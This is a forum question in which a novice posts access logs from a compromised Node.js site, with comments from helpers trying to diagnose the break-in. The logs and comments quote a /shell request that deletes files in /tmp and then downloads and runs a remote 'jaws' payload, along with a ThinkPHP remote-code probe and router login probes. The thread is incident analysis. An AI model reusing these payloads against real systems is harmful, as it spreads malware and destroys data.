My node js website was attacked. How do I analyze what hapened?

Question

I am new to web programming and I coded a Node js website. I know C very well but not JS. I recently changed the port forward to port 80 and it didn't take long before I was attacked. I saved the logs and undid the forwarding of port 80. Could anyone help me analyze what happened from the logs I got and help me know what has to be done in order to repair the damage? Basically, what was happening was my website constantly redirected me to a sketchy p*rn website... Should I reinstall windows? How can I prevent this from happening again?

Here are the logs:

GET / 302 3.645 ms - 28
POST /HNAP1/ 404 1.731 ms - 146
GET /shell?cd+/tmp;rm+-rf+*;wget+jx.qingdaosheng.com/jaws;sh+/tmp/jaws - - ms - -
GET / 302 3.529 ms - 28
GET /login 200 4.956 ms - 899
GET / 302 3.630 ms - 28
POST /Autodiscover/Autodiscover.xml 404 1.961 ms - 169
HEAD / 302 3.398 ms - 28
HEAD /login 200 5.009 ms - 899
GET /admin/assets/plugins/elfinder/php/connector.php 404 4.192 ms - 186
GET / 302 3.543 ms - 28
GET / 302 2.859 ms - 28
GET / 302 2.717 ms - 28
GET / 302 2.777 ms - 28
GET / 302 6.587 ms - 28
GET / 302 2.774 ms - 28
GET / 302 2.781 ms - 28
GET / 302 2.770 ms - 28
GET / 302 2.978 ms - 28
GET / 302 2.645 ms - 28
GET / 302 2.802 ms - 28
GET / 302 2.725 ms - 28
GET / 302 2.794 ms - 28
GET / 302 1.433 ms - 28
GET / 302 2.773 ms - 28
GET / 302 2.718 ms - 28
GET / 302 2.785 ms - 28
GET / 302 2.742 ms - 28
GET / 302 6.103 ms - 28
GET / 302 2.771 ms - 28
GET / 302 2.745 ms - 28
GET / 302 0.895 ms - 28
GET / 302 2.786 ms - 28
GET / 302 2.787 ms - 28
GET / 302 2.877 ms - 28
GET / 302 2.757 ms - 28
GET / 302 5.917 ms - 28
GET / 302 2.831 ms - 28
GET / 302 2.800 ms - 28
GET / 302 2.792 ms - 28
GET / 302 4.423 ms - 28
GET / 302 2.816 ms - 28
GET / 302 2.695 ms - 28
GET / 302 2.738 ms - 28
GET / 302 2.766 ms - 28
GET / 302 2.745 ms - 28
GET / 302 2.765 ms - 28
GET / 302 2.698 ms - 28
GET / 302 2.854 ms - 28
GET / 302 2.839 ms - 28
GET / 302 6.197 ms - 28
GET / 302 2.983 ms - 28
GET / 302 2.794 ms - 28
GET / 302 2.722 ms - 28
GET / 302 2.780 ms - 28
GET / 302 2.776 ms - 28
GET / 302 2.775 ms - 28
GET / 302 2.742 ms - 28
GET / 302 2.772 ms - 28
GET / 302 2.668 ms - 28
GET / 302 2.723 ms - 28
GET / 302 2.717 ms - 28
GET / 302 5.661 ms - 28
GET / 302 2.771 ms - 28
GET / 302 2.700 ms - 28
GET / 302 6.351 ms - 28
GET / 302 2.801 ms - 28
GET / 302 2.734 ms - 28
GET / 302 6.229 ms - 28
GET / 302 1.745 ms - 28
GET / 302 2.727 ms - 28
GET / 302 2.777 ms - 28
GET / 302 2.734 ms - 28
GET / 302 1.434 ms - 28
GET / 302 2.739 ms - 28
GET / 302 2.711 ms - 28
GET / 302 5.326 ms - 28
GET / 302 2.664 ms - 28
GET / 302 2.677 ms - 28
GET / 302 0.891 ms - 28
GET / 302 2.783 ms - 28
GET / 302 2.745 ms - 28
GET / 302 2.738 ms - 28
GET / 302 2.717 ms - 28
GET / 302 2.740 ms - 28
GET / 302 2.720 ms - 28
GET / 302 2.769 ms - 28
GET / 302 2.717 ms - 28
GET / 302 2.749 ms - 28
GET / 302 5.041 ms - 28
GET / 302 2.789 ms - 28
GET / 302 2.725 ms - 28
GET / 302 2.657 ms - 28
GET / 302 2.712 ms - 28
GET / 302 2.709 ms - 28
GET / 302 2.681 ms - 28
GET / 302 2.708 ms - 28
GET / 302 2.678 ms - 28
GET / 302 2.686 ms - 28
GET / 302 6.256 ms - 28
GET / 302 1.400 ms - 28
GET / 302 2.749 ms - 28
GET / 302 2.741 ms - 28
GET / 302 2.779 ms - 28
GET / 302 2.766 ms - 28
GET / 302 2.742 ms - 28
GET / 302 2.774 ms - 28
GET / 302 5.494 ms - 28
GET / 302 2.724 ms - 28
GET / 302 2.723 ms - 28
GET / 302 2.737 ms - 28
GET / 302 2.715 ms - 28
GET / 302 2.667 ms - 28
GET / 302 2.721 ms - 28
GET / 302 2.721 ms - 28
GET / 302 2.781 ms - 28
GET / 302 2.734 ms - 28
GET / 302 2.708 ms - 28
GET / 302 2.747 ms - 28
GET / 302 2.769 ms - 28
GET / 302 2.768 ms - 28
GET / 302 2.776 ms - 28
GET / 302 5.605 ms - 28
GET / 302 2.741 ms - 28
GET / 302 2.837 ms - 28
GET / 302 2.724 ms - 28
GET / 302 2.766 ms - 28
GET / 302 2.740 ms - 28
GET / 302 5.212 ms - 28
GET / 302 2.696 ms - 28
GET / 302 2.732 ms - 28
GET / 302 2.717 ms - 28
GET / 302 2.700 ms - 28
POST /boaform/admin/formLogin 404 3.031 ms - 163
GET / 302 3.579 ms - 28
POST /boaform/admin/formLogin 404 2.609 ms - 163
HEAD / 302 7.173 ms - 28
GET / 302 3.531 ms - 28
GET / 302 3.738 ms - 28
GET /login 200 6.611 ms - 899
GET /?XDEBUG_SESSION_START=phpstorm 302 3.465 ms - 28
GET /login 200 4.785 ms - 899
GET / 302 6.692 ms - 28
GET /login 200 4.763 ms - 899
GET / 302 3.788 ms - 28
GET /login 200 5.032 ms - 899
GET / 302 3.390 ms - 28
GET / 302 6.433 ms - 28
GET / 302 3.553 ms - 28
GET /login 200 4.816 ms - 899
GET / 302 3.593 ms - 28
GET /login 200 3.175 ms - 899
GET / 302 3.621 ms - 28
GET / 302 3.566 ms - 28
GET / 302 3.481 ms - 28
GET / 302 3.204 ms - 28
GET /login 200 4.710 ms - 899
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 404 
3.642 ms - 148
GET / 302 3.487 ms - 28
GET /login 200 4.985 ms - 899
GET / 302 3.500 ms - 28
GET /login 200 8.021 ms - 899
GET / 302 3.668 ms - 28

The log entry for `GET /shell?`... (3rd line) did not report a 404. Does that mean that your web server actually did something on that step? It looks like it wants to invoke `shell` and pass it the command line. `cd /tmp; rm -rf *;wget jx.qingdaosheng.com/jaws;sh /tmp/jaws` I wonder what happens when you `GET /shell` in your web server? Did something bad end up happening server-side? — Wyck, May 04 '22 at 01:35
There is no "shell" directory in my server if it's what you are asking. I don't know what to check to know if "something bad end up happening server-side"... — Renaud Gagnon, May 04 '22 at 01:56
If your own server was redirecting to some other site that you have nothing to do with, then something is seriously compromised. It's hard for us to say what is compromised. — jfriend00, May 04 '22 at 02:15
What happens on your server when this request `GET /shell?cd+/tmp;rm+-rf+*;wget+jx.qingdaosheng.com/jaws;sh+/tmp/jaw` is received? That looks like an attempt at a compromise, but a properly written nodejs server would just return a 404 for that without processing the query parameters. — jfriend00, May 04 '22 at 02:55
If there is no `shell` directory or route in your server, then why doesn't your log message for the `GET /shell?...` request show a 404 error? What did your server do instead? What middleware is installed in your app that may be responding to this route? Search your code for `app.use(`. Maybe fire up postman and do something harmless like `GET /shell?ls` and see if this actually manages to execute the `ls` command in a shell (which would be _terrible_, by the way, and worth figuring out why that's possible - because it _shouldn't_ be!) — Wyck, May 04 '22 at 14:43
Your package.json will have a list of dependencies that may be responsible for a vulnerability. I'm trying to figure out which module may have installed a `/shell` route handler (if that is, indeed, what happened). I'd like to see your package.json to get a list of suspects. — Wyck, May 04 '22 at 14:55

My node js website was attacked. How do I analyze what hapened?

0 Answers0